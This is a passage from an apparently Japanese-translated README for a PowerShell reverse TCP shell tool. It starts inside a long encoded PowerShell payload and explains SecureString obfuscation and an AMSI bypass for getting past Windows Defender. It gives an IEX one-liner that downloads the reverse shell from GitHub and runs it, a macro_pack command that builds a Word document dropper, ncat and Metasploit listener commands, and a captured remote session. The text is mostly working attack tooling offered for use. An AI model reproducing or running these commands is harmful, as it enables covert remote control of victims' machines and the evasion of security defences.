ABpAGwAZQAgACgAJABzAC4ARABhAHQAYQBBAHYAYQBpAGwAYQBiAGwAZQApADsAIABpAGYAIAAoACQAYgB5ACAALQBnAHQAIAAwACkAIAB7ACAAJABkACAAPQAgACQAZAAuAFQAcgBpAG0AKAApADsAIABpAGYAIAAoACQAZAAuAEwAZQBuAGcAdABoACAALQBnAHQAIAAwACkAIAB7ACAAdAByAHkAIAB7ACAAJAByACAAPQAgAEkAbgB2AG8AawBlAC0ARQB4AHAAcgBlAHMAcwBpAG8AbgAgAC0AQwBvAG0AbQBhAG4AZAAgACQAZAAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwA7ACAAfQAgAGMAYQB0AGMAaAAgAHsAIAAkAHIAIAA9ACAAJABfAC4ARQB4AGMAZQBwAHQAaQBvAG4AIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwA7ACAAfQAgAEMAbABlAGEAcgAtAFYAYQByAGkAYQBiAGwAZQAgAGQAOwAgAGkAZgAgACgAJAByAC4ATABlAG4AZwB0AGgAIAAtAGcAdAAgADAAKQAgAHsAIAAkAHcALgBXAHIAaQB0AGUAKAAkAHIAKQA7ACAAQwBsAGUAYQByAC0AVgBhAHIAaQBhAGIAbABlACAAcgA7ACAAfQAgAH0AIAB9ACAAfQAgAHcAaABpAGwAZQAgACgAJABiAHkAIAAtAGcAdAAgADAAKQA7ACAAVwByAGkAdABlAC0ASABvAHMAdAAgACIAQwBsAGkAZQBuAHQAIABoAGEAcwAgAGQAaQBzAGMAbwBuAG4AZQBjAHQAZQBkACEAIgA7ACAAfQAgAGMAYQB0AGMAaAAgAHsAIABXAHIAaQB0AGUALQBIAG8AcwB0ACAAJABfAC4ARQB4AGMAZQBwAHQAaQBvAG4ALgBJAG4AbgBlAHIARQB4AGMAZQBwAHQAaQBvAG4ALgBNAGUAcwBzAGEAZwBlADsAIAB9ACAAZgBpAG4AYQBsAGwAeQAgAHsAIABpAGYAIAAoACQAbAAgAC0AbgBlACAAJABuAHUAbABsACkAIAB7ACAAJABsAC4AUwBlAHIAdgBlAHIALgBDAGwAbwBzAGUAKAApADsAIAAkAGwALgBTAGUAcgB2AGUAcgAuAEQAaQBzAHAAbwBzAGUAKAApADsAIABDAGwAZQBhAHIALQBWAGEAcgBpAGEAYgBsAGUAIABsADsAIAB9ACAAaQBmACAAKAAkAHcAIAAtAG4AZQAgACQAbgB1AGwAbAApACAAewAgACQAdwAuAEMAbABvAHMAZQAoACkAOwAgACQAdwAuAEQAaQBzAHAAbwBzAGUAKAApADsAIABDAGwAZQBhAHIALQBWAGEAcgBpAGEAYgBsAGUAIAB3ADsAIAB9ACAAaQBmACAAKAAkAHMAIAAtAG4AZQAgACQAbgB1AGwAbAApACAAewAgACQAcwAuAEMAbABvAHMAZQAoACkAOwAgACQAcwAuAEQAaQBzAHAAbwBzAGUAKAApADsAIABDAGwAZQBhAHIALQBWAGEAcgBpAGEAYgBsAGUAIABzADsAIAB9ACAAaQBmACAAKAAkAGMAIAAtAG4AZQAgACQAbgB1AGwAbAApACAAewAgACQAYwAuAEMAbABvAHMAZQAoACkAOwAgACQAYwAuAEQAaQBzAHAAbwBzAGUAKAApADsAIABDAGwAZQBhAHIALQBWAGEAcgBpAGEAYgBsAGUAIABjADsAIAB9ACAAaQBmACAAKAAkAGIAIAAtAG4AZQAgACQAbgB1AGwAbAApACAAewAgACQAYgAuAEMAbABlAGEAcgAoACkAOwAgAEMAbABlAGEAcgAtAFYAYQByAGkAYQBiAGwAZQAgAGIAOwAgAH0AIABpAGYAIAAoACQAcgAgAC0AbgBlACAAJABuAHUAbABsACkAIAB7ACAAQwBsAGUAYQByAC0AVgBhAHIAaQBhAGIAbABlACAAcgA7ACAAfQAgAGkAZgAgACgAJABkACAALQBuAGUAIAAkAG4AdQBsAGwAKQAgAHsAIABDAGwAZQBhAHIALQBWAGEAcgBpAGEAYgBsAGUAIABkADsAIAB9ACAAWwBHAEMAXQA6ADoAQwBvAGwAbABlAGMAdAAoACkAOwAgAH0AIAB9ACAAQwBsAGUAYQByAC0AVgBhAHIAaQBhAGIAbABlACAAcAA7AA==
エンコードされたスクリプトは入力を求めます。少し変更されたスクリプトはこちらを参照してください - コマンド長を短縮するためにミニファイされたスクリプトを使用しました。
PowerShellスクリプトからPowerShell SecureStringを生成するには、以下のPowerShellコマンドを実行します (文字列は非常に長くなることがあります):```pwsh ConvertFrom-SecureString -k (0..15) (ConvertTo-SecureString (Get-Content -Path $script -Raw) -AsPlainText -Force)
PowerShell SecureStringをデコードして実行するには、次のPowerShellコマンドを実行してください:```pwsh
IEX((New-Object System.Net.NetworkCredential("", (ConvertTo-SecureString -k (0..15) $string))).Password)
多くのセキュリティ製品は、スクリプトが & 記号を過剰に使用すると、そのPowerShellスクリプトを悪意のあるものとしてフラグを立てます。
手動難読化されたリバースシェルスクリプトと、変換されたリバースシェルスクリプットはこちらで確認してください。
手動難読化されたバインドシェルスクリプトと、変換されたバインドシェルスクリプトはこちらで確認してください。
Windows DefenderがPowerShellスクリプトまたはエンコードされたコマンドの実行をブロックしている場合は、AMSI.failからAMSIバイパスコードを生成し、PowerShellセッションで実行してください。作者に感謝します！
AMSIバイパスコードを実行した後、次のワンライナーを使用してWebからPowerShellスクリプトの内容をダウンロードできます。```pwsh IEX([System.IO.StreamReader]::New([System.Net.WebRequest]::Create('https://raw.githubusercontent.com/ivan-sincek/powershell-reverse-tcp/master/src/prompt/minified/powershell_reverse_tcp_prompt_mini.ps1').GetResponse().GetResponseStream()).ReadToEnd());
Find out more about AMSI bypass at [S3cur3Th1sSh1t/Amsi-Bypass-Powershell](https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell). Credits to the author!
## MS Wordとの統合
PowerShellスクリプトをMS Word文書に埋め込むには、[macro_pack](https://github.com/sevagas/macro_pack)ツールを確認してください。作者に感謝！
以下のコマンドをPowerShellまたはコマンドプロンプトから実行してください：```fundamental
echo "https://raw.githubusercontent.com/ivan-sincek/powershell-reverse-tcp/master/src/invoke_expression/prompt/powershell_reverse_tcp_prompt.ps1" | macro_pack.exe -t DROPPER_PS -o -G powpow.doc
リスナーをセットアップするには、Kali Linux で好みのコンソールを開き、以下の例のいずれかを実行してください。
ncat リスナーをセットアップする:```fundamental
ncat -nvlp 9000
`multi/handler`リスナーを設定します:```fundamental
msfconsole -q
use exploit/multi/handler
set PAYLOAD windows/shell_reverse_tcp
set LHOST 192.168.8.185
set LPORT 9000
exploit
┌──(root💀kali)-[~] └─# ncat -nvlp 9000 Ncat: Version 7.93 ( https://nmap.org/ncat ) Ncat: Listening on :::9000 Ncat: Listening on 0.0.0.0:9000 Ncat: Connection from 192.168.1.109. Ncat: Connection from 192.168.1.109:50418. PS>Get-Host
Name : ConsoleHost Version : 5.1.19041.2673 InstanceId : 3d17d7be-e720-4f39-93a2-cf509887f57a UI : System.Management.Automation.Internal.Host.InternalHostUserInterface CurrentCulture : hr-HR CurrentUICulture : en-US PrivateData : Microsoft.PowerShell.ConsoleHost+ConsoleColorProxy DebuggerEnabled : True IsRunspacePushed : False Runspace : System.Management.Automation.Runspaces.LocalRunspace
PS>